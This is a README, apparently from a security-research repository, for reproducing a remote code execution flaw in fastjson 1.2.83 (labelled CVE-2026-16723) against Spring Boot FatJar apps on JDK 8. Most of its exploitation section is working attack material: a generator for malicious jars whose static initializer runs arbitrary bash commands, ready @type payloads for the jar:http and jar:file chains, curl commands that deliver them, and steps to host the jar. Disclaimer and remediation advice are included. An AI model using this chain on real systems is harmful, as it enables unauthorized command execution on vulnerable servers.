⚠️ Dichiarazione di non responsabilità

Questo progetto è destinato esclusivamente a ricerca sulla sicurezza, riproduzione di vulnerabilità e test autorizzati. È severamente vietato l'uso su sistemi non autorizzati, per attacchi illegali o scopi dannosi. L'utilizzatore si assume la piena responsabilità delle proprie azioni; l'autore non si assume alcuna responsabilità legale per eventuali abusi.

Articolo di analisi della vulnerabilità: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w

📖 Introduzione al progetto

Questo progetto realizza un ambiente completo di riproduzione della vulnerabilità fastjson 1.2.83 incentrato su CVE-2026-16723:

• demo/ — applicazione Web Spring Boot 2.7.18 vulnerabile (dipende da fastjson 1.2.83), espone l'endpoint POST /parse che chiama direttamente JSON.parse(json);
• exp/ — generatore di jar probe dannosi basato su ASM (due forme: protocollo HTTP / protocollo FILE);
• 环境/ — FatJar precompilati per tre middleware (Tomcat / Jetty / Undertow), pronti all'uso.

Idea chiave dello sfruttamento: costruendo uno speciale JSON con @type impostato a jar URL, si costringe fastjson a seguire il ramo fidato dell'annotazione @JSONType → getResourceAsStream scarica il jar remoto/locale → defineClass carica la classe dannosa → l'inizializzazione della classe attiva <clinit> → esecuzione arbitraria di comandi (RCE).

🎯 Panoramica della vulnerabilità

Condizioni di sfruttamento

1. Codice target: usa JSON.parse(json) o JSON.parseObject(json) per analizzare direttamente input non attendibili, con versione fastjson in 1.2.66 ~ 1.2.83 e safeMode non attivato;
2. Forma di esecuzione del target: Spring Boot FatJar (avvio con java -jar, LaunchedURLClassLoader, solo Spring Boot ≤ 2.7 mantiene la capacità di fallback dell'Handler del protocollo jar:);
3. JVM del target: JDK 8 (con JDK 9+ defineClass genera ClassFormatError; al massimo si riesce a fare SSRF);
4. Raggiungibilità di rete: il target deve poter accedere alla porta HTTP della macchina dell'attaccante (catena protocollo HTTP) o poter leggere il file jar locale (catena protocollo FILE).

🧩 Principio della vulnerabilità

Il checkAutoType di fastjson, quando incontra una classe annotata con @JSONType, entra nel ramo fidato, saltando la maggior parte dei controlli in blacklist e consentendo il caricamento. Questo progetto sfrutta proprio questo: usando ASM per scrivere direttamente il bytecode, inserisce un «nome di classe interna illegale» nel campo this_class del constant pool della classe, allineando perfettamente i tre nomi:

@type        jar:http:..2130706433:19090.x!.y        （点形态，无斜杠）
resource     jar:http://2130706433:19090/x!/y.class   （点 -> 斜杠）
this_class   jar:http://2130706433:19090/x!/y         （字节码内部类名）

Struttura della classe dannosa:

1. Annotazione @JSONType — la chiave che apre il ramo fidato di checkAutoType di fastjson;
2. Costruttore predefinito <init>()V — garantisce che fastjson possa istanziare normalmente la classe;
3. Blocco di inizializzazione statica <clinit> — esegue Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) al caricamento/inizializzazione della classe, realizzando l'esecuzione di comandi.

Un nome di classe illegale non può essere scritto con javac; solo ASM può scrivere direttamente l'URL nel constant pool — per questo il generatore di questo progetto dipende da asm-9.6.jar.

📁 Struttura del progetto

CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查（http / file 协议两条命令）
├── demo/                        # 漏洞靶场源码（Spring Boot 2.7.18 + fastjson 1.2.83）
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链（jar:http）
│   ├── GenProbefile.java        # FILE 协议链（jar:file）
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar（开箱即用）
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

Endpoint del lab

demo/src/main/java/com/example/demo/controller/VulController.java:

@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型，直接解析不可信输入
    return "Parsed!";
}

🚀 Avvio rapido

1. Avvia il lab vulnerabile

Il lab deve essere eseguito con JDK 8 (coerente con le condizioni di sfruttamento).

# 方式 A（推荐）：直接使用预编译 FatJar，三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B：源码构建运行（默认 Tomcat，需本机安装 Maven）
cd demo
mvn spring-boot:run

Dopo l'avvio, l'endpoint è: http://127.0.0.1:8080/parse

💥 Sfruttamento della vulnerabilità

Metodo 1: catena protocollo HTTP (jar:http, consigliato)

① Compila il generatore

cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② Genera il jar probe dannoso

java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'

• 19090 — porta HTTP di hosting del jar dannoso
• open -a Calculator — comando da eseguire sulla macchina target (su macOS apre la calcolatrice; su Linux si può usare id > /tmp/pwned 2>&1 e verificare se il file esiste)

Il file generato di default è x (senza estensione) e contiene y.class; il payload è:

{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ Ospita il jar dannoso (servizio HTTP)

python3 -m http.server 19090

Assicurati che python3 -m http.server venga avviato nella directory in cui è stato generato il file x.

④ Invia il payload al target

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ Verifica

Il risultato dell'esecuzione del comando non viene restituito nella risposta HTTP; è necessario verificarlo sulla macchina target:

# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器（open -a Calculator）

Metodo 2: catena protocollo FILE (jar:file)

Scenario di utilizzo: il target non può accedere alla porta HTTP della macchina dell'attaccante (isolamento della rete interna / traffico in uscita limitato), ma è possibile posizionare il file jar sul file system della macchina target.

① Compila il generatore

cd exp
javac -cp asm-9.6.jar GenProbefile.java

② Genera il jar probe nella directory corrispondente del target

java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

Il generatore calcola l'URL jar:file: in base alla directory corrente (il separatore di directory / viene sostituito con .); ad esempio, se il file viene generato in /tmp/project/exp, il payload sarà:

{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ Posiziona il jar generato nella directory corrispondente sulla macchina target

Carica/copia il file generato y nel percorso assoluto della macchina target corrispondente a @type (ad es. /tmp/project/exp/y), mantenendo identica la struttura delle directory.

④ Invia il payload al target

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

Nota: il percorso della catena protocollo FILE deve essere esattamente identico al percorso reale del file sulla macchina target, altrimenti il resource probing fallisce e il caricamento non viene attivato.

⚙️ Parametri del generatore

GenProbeHttp (catena protocollo HTTP)

GenProbefile (catena protocollo FILE)

Conversione dell'IP in forma intera

2130706433 è l'intero senza segno a 32 bit di 127.0.0.1; scrivere l'IP come intero evita che il . dell'IP venga alterato dalla logica di sostituzione . → / di fastjson. Quando la macchina dell'attaccante non è locale:

python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 Domande frequenti

Errore autoType is not support. jar:http:...

Indica che il jar può essere scaricato (la SSRF è confermata), ma TypeUtils.loadClass restituisce null. Le cause possibili sono quasi esclusivamente due:

1. La classe dannosa non ha l'annotazione @JSONType — la probe non supera il ramo fidato e non arriva proprio a loadClass;
2. Il nome della classe interna della classe dannosa non è allineato a @type — il nome della classe in defineClass non corrisponde, quindi il caricamento fallisce.

Il generatore di questo progetto risolve entrambi i punti: annotazione @JSONType + allineamento dei tre nomi.

Il singolo payload jar:http non riesce comunque a ottenere la RCE?

Se il ClassLoader del target non è LaunchedURLClassLoader (ad es. esecuzione diretta da IDE, pacchetto war normale, Spring Boot 3.x), la singola catena jar:http non riesce a ottenere la RCE; al massimo si può verificare la SSRF.

Perché è richiesto JDK 8?

Su JDK 9+ defineClass applica controlli più severi sui nomi di classe illegali e genera ClassFormatError; la catena si interrompe in fase di caricamento.

🛡 Consigli di remediation

1. Aggiorna il componente: fastjson 1.x non è più mantenuto; si consiglia di migrare a fastjson2 (o aggiornare a una versione corretta) e seguire gli advisory di sicurezza ufficiali;
2. Attiva safeMode: ParserConfig.getGlobalInstance().setSafeMode(true); disabilita completamente autoType;
3. Evita di analizzare input non attendibili: non chiamare direttamente JSON.parse(json) / JSON.parseObject(json) su input utente; usa invece JSON.parseObject(json, Xxx.class) specificando esplicitamente il tipo di destinazione;
4. Usa blacklist/whitelist: tramite ParserConfig.addAccept(...) consenti solo classi attendibili;
5. Aggiorna Spring Boot / JDK: versioni più recenti di JDK e Spring Boot riducono la superficie sfruttabile;
6. Minimizza l'esposizione: applica autenticazione agli endpoint esposti su internet e usa un WAF per bloccare i payload @type sospetti.

📚 Riferimenti

• GitHub ufficiale di fastjson: https://github.com/alibaba/fastjson
• Advisory di sicurezza / intelligence sulle vulnerabilità di fastjson: https://github.com/alibaba/fastjson/wiki/security_update_guidance